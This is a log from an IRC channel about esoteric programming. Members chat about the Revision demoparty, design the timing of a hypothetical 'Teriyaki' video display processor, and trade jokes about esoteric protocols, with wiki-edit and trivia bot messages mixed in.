< 1492387330 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net QUIT :Ping timeout: 258 seconds < 1492387538 0 :augur!~augur@94.117.153.197 QUIT :Remote host closed the connection < 1492387920 0 :sebbu2!?@? NICK :sebbu < 1492388372 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Esolang:Introduce yourself14]]4 M10 02https://esolangs.org/w/index.php?diff=51731&oldid=51713 5* 03Fractalwizz 5* (+243) 10fractalwizz Introduction < 1492388405 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Chance14]]4 M10 02https://esolangs.org/w/index.php?diff=51732&oldid=47049 5* 03Fractalwizz 5* (+124) 10Added Interpreter Link < 1492388435 0 :augur!~augur@94.117.153.197 JOIN :#esoteric < 1492388526 0 :trn!jhj@prone.ws PRIVMSG #esoteric :Yo guys !!! http://i.imgur.com/NiiUnVd.jpg < 1492388534 0 :trn!jhj@prone.ws PRIVMSG #esoteric :Live at Revision demoparty right now < 1492388544 0 :trn!jhj@prone.ws PRIVMSG #esoteric :A demo in Processing.js and Brainfuck < 1492388553 0 :trn!jhj@prone.ws PRIVMSG #esoteric :With brainfuck on the screen heh < 1492388690 0 :augur!~augur@94.117.153.197 QUIT :Ping timeout: 252 seconds < 1492389163 0 :atslash!~atslash@broadband-46-188-0-82.2com.net QUIT :Ping timeout: 240 seconds < 1492389209 0 :atslash!~atslash@broadband-46-188-0-82.2com.net JOIN :#esoteric < 1492389366 0 :augur!~augur@94.117.55.130 JOIN :#esoteric < 1492389630 0 :augur!~augur@94.117.55.130 QUIT :Ping timeout: 258 seconds < 1492389813 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :looks vaguely like computer code stock photos < 1492390062 0 :augur!~augur@94.117.107.109 JOIN :#esoteric < 1492390319 0 :augur!~augur@94.117.107.109 QUIT :Ping timeout: 240 seconds < 1492390332 0 :hppavilion[1]!~dosgmowdo@58-0-174-206.gci.net JOIN :#esoteric < 1492390358 0 :hppavilion[1]!~dosgmowdo@58-0-174-206.gci.net PRIVMSG #esoteric :ACTION writes a DO..IF construct < 1492390363 0 :hppavilion[1]!~dosgmowdo@58-0-174-206.gci.net PRIVMSG #esoteric :@massages-lood < 1492390363 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric :\oren\ said 3d 3h 18m 19s ago: ⸶⸷⸸ are in unicode what are you talking about < 1492390370 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :pouet lists no web (or esolang) category at revision, I guess this is being screened out of competition < 1492390379 0 :hppavilion[1]!~dosgmowdo@58-0-174-206.gci.net PRIVMSG #esoteric :`unidecode ⸸ < 1492390380 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :U+2E38 TURNED DAGGER \ UTF-8: e2 b8 b8 UTF-16BE: 2e38 Decimal: ⸸ \ ⸸ \ Category: Po (Punctuation, Other) \ Bidi: ON (Other Neutrals) < 1492390385 0 :hppavilion[1]!~dosgmowdo@58-0-174-206.gci.net PRIVMSG #esoteric :\oren\: ...FUUUUUUUUUUUUUUU < 1492391431 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :looooooooooooooooooooooooooooooool < 1492391439 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`unidecode  < 1492391441 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :U+0002 \ UTF-8: 02 UTF-16BE: 0002 Decimal:  \  \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral) < 1492391444 0 :augur!~augur@94.117.213.78 JOIN :#esoteric < 1492391480 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`unidecode  < 1492391481 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :U+0003 \ UTF-8: 03 UTF-16BE: 0003 Decimal:  \  \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral) < 1492391520 0 :augur!~augur@94.117.213.78 QUIT :Read error: Connection reset by peer < 1492391550 0 :augur!~augur@94.117.213.78 JOIN :#esoteric < 1492391815 0 :augur!~augur@94.117.213.78 QUIT :Ping timeout: 258 seconds < 1492392638 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is QUIT :Ping timeout: 240 seconds < 1492392679 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :trn: are you at revision? that's awesome btw < 1492392714 0 :trn!jhj@prone.ws PRIVMSG #esoteric :sadly not currently < 1492392738 0 :trn!jhj@prone.ws PRIVMSG #esoteric :Just watching the stream since I couldn't be there < 1492393310 0 :augur!~augur@94.116.147.163 JOIN :#esoteric < 1492393573 0 :augur!~augur@94.116.147.163 QUIT :Ping timeout: 240 seconds < 1492393658 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :trn: it totally slipped my mind that revision was today. are you active in the demoscene? < 1492393709 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :My most recent project: http://www.pouet.net/prod.php?which=68783 < 1492393942 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07A114]]4 M10 02https://esolangs.org/w/index.php?diff=51733&oldid=51730 5* 03Orby 5* (+39) 10Changing specification to allow for different register widths. < 1492393986 0 :trn!jhj@prone.ws PRIVMSG #esoteric :orby: not active for many years < 1492393998 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :shame on you ;) < 1492394011 0 :trn!jhj@prone.ws PRIVMSG #esoteric :I DJ and I still follow the scene tho and use a lot of their music tools etc still < 1492394024 0 :trn!jhj@prone.ws PRIVMSG #esoteric :I could release stuff if I was less lazy etc I guess < 1492394024 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :cool < 1492394031 0 :trn!jhj@prone.ws PRIVMSG #esoteric :I go to compos when I can < 1492394055 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :yeah, I haven't been to any parties yet this year < 1492394069 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :I'm in the US, so not a lot of opportunity short of jumping the pond < 1492394078 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :I try to make it up to @party at least < 1492394098 0 :trn!jhj@prone.ws PRIVMSG #esoteric :yeah same < 1492394121 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :are you close to boston? < 1492394126 0 :trn!jhj@prone.ws PRIVMSG #esoteric :I like revision and Breakpoint but flying all over racks up the bills when we live in US < 1492394133 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :yes it does < 1492394140 0 :trn!jhj@prone.ws PRIVMSG #esoteric :and I'm Florida so nope < 1492394145 0 :trn!jhj@prone.ws PRIVMSG #esoteric :Soon Kentucky < 1492394158 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :ouch, you could almost get to revision faster than @party < 1492394162 0 :trn!jhj@prone.ws PRIVMSG #esoteric :Generally try to stay outta yankeedom :) < 1492394171 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :haha, nice < 1492394178 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :yeah, I'm in Baltimore, so right on the cusp < 1492394419 0 :trn!jhj@prone.ws PRIVMSG #esoteric :I'm always like "Oh, Revision" must be Easter < 1492394480 0 :trn!jhj@prone.ws PRIVMSG #esoteric :Revision is one of my fav events because it's got the wild compo and diverse stuff and a good scene < 1492394502 0 :trn!jhj@prone.ws PRIVMSG #esoteric :Much rather go to Revision than, say, defcon or something < 1492394751 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :I've never been to revision sadly. I hope to one day. < 1492394924 0 :sirnaysayer!~naysayer@lord.spacepussy.ca JOIN :#esoteric < 1492395449 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07User:Orby14]]4 M10 02https://esolangs.org/w/index.php?diff=51734&oldid=51725 5* 03Orby 5* (+0) 10 < 1492396066 0 :hppavilion[1]!~dosgmowdo@58-0-174-206.gci.net QUIT :Ping timeout: 268 seconds < 1492397917 0 :MoALTz!~no@77-254-9-16.adsl.inetia.pl QUIT :Quit: Leaving < 1492398238 0 :sleffy!~sleffy@c-24-7-67-0.hsd1.ca.comcast.net QUIT :Ping timeout: 240 seconds < 1492398750 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Teriyaki14]]4 N10 02https://esolangs.org/w/index.php?oldid=51735 5* 03Orby 5* (+1556) 10Created Teriyaki VDP Page! < 1492398877 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07A114]]4 M10 02https://esolangs.org/w/index.php?diff=51736&oldid=51733 5* 03Orby 5* (+61) 10/* See Also */ Added link to Teriyaki < 1492398920 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Teriyaki14]]4 M10 02https://esolangs.org/w/index.php?diff=51737&oldid=51735 5* 03Orby 5* (+43) 10Adding categories < 1492399787 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :no hardware implementation? isn't this exactly how CRT screens work? < 1492400309 0 :erkin!~erkin@unaffiliated/erkin QUIT :Quit: Ouch! Got SIGABRT, dying... < 1492400587 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :Jafet: I don't know enough about NTSC to know whether or not per pixel interrupts are possible. I've never seen it in hardware (probably because it's insane). Maybe it's possible. Who knows? < 1492400629 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :If there are any engineers around who want to try it, be my guest < 1492400659 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Teriyaki14]]4 10 02https://esolangs.org/w/index.php?diff=51738&oldid=51737 5* 03Orby 5* (+589) 10Updating with more details < 1492400695 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :well, real hardware uses synchronised clocks instead of interrupts, but I don't see it making a big difference < 1492400741 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :unless the display can send interrupts at arbitrary times… < 1492400747 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :yeah, but vdps usually raise interrupts on the cpu for vblank and sometimes hblank < 1492400770 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :btw I added a note in the spec about the hblank interval for scanline effects. mwahahaha < 1492400808 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :Once I get around to writing a vm with these specs I can't wait to write my first raster bars < 1492400812 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :it seems too easy to work around this by having the interrupt handler read from the double buffer (which programs will be using anyway) < 1492400864 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :something like that is clearly neccesary unless the vm restricts ram to something silly like 1k < 1492400877 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :which is probably what I'll do for fun :) < 1492400937 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :a vm with 1k of ram and a 200 mhz cpu < 1492401074 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :the atari vcs only had enough vram for 40 pixels and 256 bytes of ram < 1492401080 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :and look at what programmers did with that < 1492401581 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :heh < 1492401721 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :hm < 1492401731 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :can you reference other #defined functions in #definitions? < 1492402699 0 :augur!~augur@94.116.65.48 JOIN :#esoteric < 1492402833 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :hello augur < 1492402961 0 :augur!~augur@94.116.65.48 QUIT :Ping timeout: 255 seconds < 1492402965 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I don't think the “very fast CPU” is meaningful either; even for buffered displays the CPU must match the average fill rate, but it doesn't need to be much faster (only a few extra cycles per pixel to handle the interrupt) < 1492403025 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :well, it depends on how quickly the CPU can handle interrupts; A1 shouldn't be hard because there are only a handful of registers to save < 1492403156 0 :Sgeo__!~Sgeo@ool-18e4354b.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1492403174 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :why not an assembly programming language where everything is a system interrupt < 1492403184 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :need to MOV something? INT! < 1492403210 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :also known as minix *cough* < 1492403270 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :lol @ Jafet < 1492403307 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Teriyaki14]]4 10 02https://esolangs.org/w/index.php?diff=51739&oldid=51738 5* 03Orby 5* (+267) 10Ditched interrupts to force users to cycle count ;) Changed timing notes from microseconds to cycles to reflect the fact that the VDP should be on the same clock as the cpu < 1492403338 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :oh man, I can't wait to start writing effects for this stupid thing < 1492403343 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :what an absurd idea < 1492403396 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I'm working on an extremely high level language if you're interested < 1492403416 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I'm talking computer algebra systems < 1492403421 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :maybe even higher < 1492403481 0 :Sgeo!~Sgeo@ool-18e4354b.dyn.optonline.net JOIN :#esoteric < 1492403500 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :if high level languages were a race, it would win before the race even started < 1492403804 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :Jafet: I think with the current timing scheme, users will be forced to do something other than simply dump to a frame buffer during the vblank and copy values to the palette during the drawing period < 1492403824 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :as it would only leave 8 cycles per pixel to render a frame buffer < 1492403871 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :hmm, maybe that means my vblank numbers are too low < 1492403890 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :I wish I had more experience with how video signals are timed out < 1492403923 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :the only machines I have experience with this stuff on usually have around 100,000 cycles available during the vblank < 1492403931 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :obviously I have cycle counted since the 80s... < 1492404060 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :Hmm, yeah my vblank period is only about 2.5% of the refresh, that sounds low < 1492404519 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Teriyaki14]]4 M10 02https://esolangs.org/w/index.php?diff=51740&oldid=51739 5* 03Orby 5* (+120) 10Updating timing with more realistic VBLANK numbers < 1492404927 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Teriyaki14]]4 10 02https://esolangs.org/w/index.php?diff=51741&oldid=51740 5* 03Orby 5* (+3) 10/* Timing */ Cranking down timing for modesty < 1492405123 0 :sleffy!~sleffy@c-24-7-67-0.hsd1.ca.comcast.net JOIN :#esoteric < 1492405135 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :neh < 1492405144 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Yay (tm) < 1492405162 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net JOIN :#esoteric < 1492405483 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :HTTP/Vo/IP < 1492405526 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :VOIP < 1492405527 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :It's when you run HTTP by having someone do the request for you by reading them the request through Vo/IP, then having them read the response bytes back to you < 1492405531 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: Vo/IP < 1492405536 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Vio < 1492405537 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :p < 1492405540 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ooh < 1492405542 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :esoteric protocol < 1492405593 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :EML: Esoteric Markup Language :P (ik it's not the same category as HTTP, but seeing as it's often related to HTML, meh) < 1492405650 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: See: Project Xanadu < 1492405684 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :? < 1492405704 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Teriyaki14]]4 M10 02https://esolangs.org/w/index.php?diff=51742&oldid=51741 5* 03Orby 5* (-1) 10/* Strategies */ typo < 1492405776 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: Lookitup < 1492405802 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: When reading about Crocker's Rules, I came across the term "social communication protocol", which is an interesting concept < 1492405846 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I wanted to come up with something original. seems like I never get to :c < 1492405888 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :also, when I search up "social communication protocol" I see search results about a disorder (apparently, everything in a child is now a disorder). < 1492405905 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: https://is.gd/vekZ7Y < 1492405921 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I just did that -_- < 1492406007 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I waned to be original, but :/ < 1492406020 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I can't make an EML with that masterpiece there < 1492406030 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :it'll just be like every single time I try to make a programming language < 1492406088 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: Oh? < 1492406119 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Actually, to be fair, I didn't see an actual markup language there - but I think that's the point < 1492406160 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Additionally, there are probably more ways to improve paper. < 1492406173 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07User:Orby14]]4 M10 02https://esolangs.org/w/index.php?diff=51743&oldid=51734 5* 03Orby 5* (+97) 10Adding Teriyaki to projects page < 1492406327 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :For example, why have a semi-linear, fixed chunk of text at all? Have different subtopics that can be moved and dragged around for more customizable reading. < 1492406411 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Why not get rid of the idea of webpages entirely, and just have a network of interconnected nodes, each one containing interactive information? < 1492406439 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: I do think that the client should have more choice in presentation, and there should be a multi-layered approach to display where you can start with lower-level data < 1492406447 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Exactly. < 1492406463 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :Like, I could just get the text and basic emphasis markup and not ask for as much styling information < 1492406488 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Maybe we do need an esoteric markup language after all. < 1492406491 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :One problem: < 1492406493 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :it won't be esoteric :/ < 1492406504 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric ::p < 1492406637 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: I think the ultimate goal of esolangery is to get something so crazy it wraps around and actually has a decent use < 1492406663 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I've never been good at that. < 1492406666 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: Like, I designed Ingredients-based programming on a whim and I'm pretty sure it has real possibilities in security < 1492406678 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :And Quantum Computing needs an esolanger *now* < 1492406691 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I don't understand quantum computing very well. < 1492406703 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Do you want me to try nevertheless? < 1492406783 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: I understand quantum computing 1000000 times better than you, which basically means I can say the words "hilbert space" and that's it < 1492406806 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :nice way to make me feel down < 1492406844 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: That was meant to be self-detrimental < 1492406857 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Really? < 1492406866 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :Yeah < 1492406867 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Odd way to be self-detrimental, but okay. < 1492406877 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: "which basically means I can say the words \"hilbert space\" and that's it" < 1492406886 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: I mean, the point was also that quantum computing is *hard* < 1492406902 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I still don't get it. < 1492406909 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net PRIVMSG #esoteric :rdococ: I'm not sure it worked very well < 1492406943 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :What should I try and fail to create this time? < 1492406946 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? success < 1492406947 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :If at first you don't succeed, you fail. < 1492406961 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? fail < 1492406962 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :fail? ¯\(°​_o)/¯ < 1492406963 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? failure < 1492406964 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :failure? ¯\(°​_o)/¯ < 1492406977 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`le//rn failure//If at first you don't fail, you succeed. < 1492406979 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Learned 'failure': If at first you don't fail, you succeed. < 1492406990 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`le//rn failure//If at first you don't fail, you fail later. < 1492406992 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Relearned 'failure': If at first you don't fail, you fail later. < 1492407235 0 :atslash!~atslash@broadband-46-188-0-82.2com.net QUIT :Quit: Leaving < 1492407256 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? hppavilion[1] < 1492407257 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe. No es tan cluecless. Él aspira a ser más incomprensible que esta sabiduría. < 1492407259 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? xanadu < 1492407260 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :xanadu? ¯\(°​_o)/¯ < 1492407262 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? project xanadu < 1492407263 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :project xanadu? ¯\(°​_o)/¯ < 1492407467 0 :sleffy!~sleffy@c-24-7-67-0.hsd1.ca.comcast.net QUIT :Ping timeout: 252 seconds < 1492407591 0 :sleffy!~sleffy@c-24-7-67-0.hsd1.ca.comcast.net JOIN :#esoteric < 1492407997 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :orby: the obvious approach would be to render the first scanline during the vblank, then render the next scanline between interrupts < 1492408126 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :Jafet: Hmm, well during the scanline you'll need to update the palette, so that will eat up most of your time between scanlines < 1492408129 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07DStack14]]4 10 02https://esolangs.org/w/index.php?diff=51744&oldid=45924 5* 03-Dark-Phantom- 5* (+51) 10Online interpreter link < 1492408134 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07ROOP14]]4 10 02https://esolangs.org/w/index.php?diff=51745&oldid=46059 5* 03-Dark-Phantom- 5* (+49) 10Online interpreter link < 1492408163 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :I've rewritten the page to talk about timing in terms of cycles rather than seconds and ditched the interrupts under the assumption that the vdp will run on the same clock as the cpu anyway < 1492408219 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :so, assuming that most of the time during the actual scan will be eatten up by updating the palette, there are current 8192 cycles between scanlines to do stuff, which leaves 64 cycles per pixel if you want to do it the way you're talking about < 1492408258 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :the point is that any CPU that can handle the fillrate for a conventional video processor plus a few cycles per pixel interrupt can generally also handle this device without much trouble < 1492408313 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :it just needs to render ahead far enough that “difficult” pixels can be amortized < 1492408434 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :I think the lack of a frame buffer will definitely present a problem. I don't think there is enough time during the hblank to do very much, and certainly not enough time during the pixel interrupt to actually render anything. < 1492408466 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :It's definitely not impossible, by design. But I think it would be fun. < 1492408545 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :the VM I have in mind for it that I want to write wouldn't have enough ram to fill an entire framebuffer during the vblank < 1492408618 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :what I described works even if there are no vblanks or hblanks; the program can do calculations in between the interrupts < 1492408627 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :which interrupt? < 1492408635 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :the vsync or the pixel interrupt? < 1492408656 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :the pixel interrupts, which would be the only type remaining < 1492408677 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :the pixel interrupt only leaves room for a few cycles, definitely not enough to render anything interesting < 1492408746 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :I was describing the pixel interrupt as occuring every microsecond, and now I'm describing it as occuring every 64 cycles < 1492408787 0 :aiz11!~ryan@60-242-249-176.static.tpgi.com.au JOIN :#esoteric < 1492408795 0 :sirnaysayer!~naysayer@lord.spacepussy.ca QUIT :Quit: zonkzonk < 1492408804 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :I get what you're saying, using a few cycles to copy from the scanline buffer and the rest to write to the new scanline buffer, but how much can you do in a few thousand cycles? < 1492408823 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :well, it varies greatly with the architecture < 1492408835 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :indeed < 1492408843 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric 